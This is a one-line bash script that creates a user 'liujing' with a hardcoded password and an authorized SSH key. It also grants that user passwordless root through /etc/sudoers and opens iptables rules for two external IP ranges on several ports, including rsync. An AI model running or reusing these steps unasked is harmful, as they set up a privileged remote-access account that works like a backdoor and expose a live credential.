#!/bin/bash useradd liujing echo "liujing:C2XD7ny00%qTtZwNFC" | chpasswd mkdir -pv /home/liujing/.ssh touch /home/liujing/.ssh/authorized_keys echo "ssh-dss AAAAB3NzaC1kc3MAAACBAIakSSvoWYnLOIhRbWCLaeYtK04DG2bTyhoLkai5ivdISKK5zql0zQFlEtItIlWOd2g6oZHBeAowTitWjbi3lOzpvn9R7RHaR7riQZr9JLqQWQLCVieGeREDKmZEPQubw+A4cJuhEXTVY15OqC+nGFj5etppPVjEkTeXM6Bv0sxhAAAAFQCGRmE5jjuBtOO4MybJ/UufCaHjgQAAAIBfCvB8mRWb2iAi5eAq7NarCjQkHGGH12jxiJDbTf4eKQU6Wj+6CEk+RuP8s0e/bZfnfCU0gvgkJyKyxalmWAX3bEoSj1W9gwenQGZG4bBr51tLpBFKaftN2+GP35iBS4QKQIkIu0VPvoSGON3SWiLJ6/bhojCWTo+KXXAFHqoUVQAAAIBxihTKR1w59CiV9lL4dD62LNL9ttPlqQCXOIZQgP5Jt5PmmiYZTaOoRHRoGBgnhqOwKwDWo0dwy1+A5JIhCnHL4QdfkhY4Esv89FM1U5pco3m5INuZWH/UAv9pUMAsitEXNKapZz3S1Wi+9TDQWhduggE2h9ucy3XXpHJ9vmeOQA==" > /home/liujing/.ssh/authorized_keys chmod 700 /home/liujing/.ssh chmod 600 /home/liujing/.ssh/authorized_keys chown -R liujing:liujing /home/liujing/.ssh echo "liujing ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers service iptables save iptables -t filter -I INPUT 10 -s 124.251.55.160/27 -p tcp -m state --state NEW -m multiport --dports 53263,42233,873 -j ACCEPT iptables -t filter -I INPUT 10 -s 124.251.55.192/28 -p tcp -m state --state NEW -m multiport --dports 53263,42233,873 -j ACCEPT exit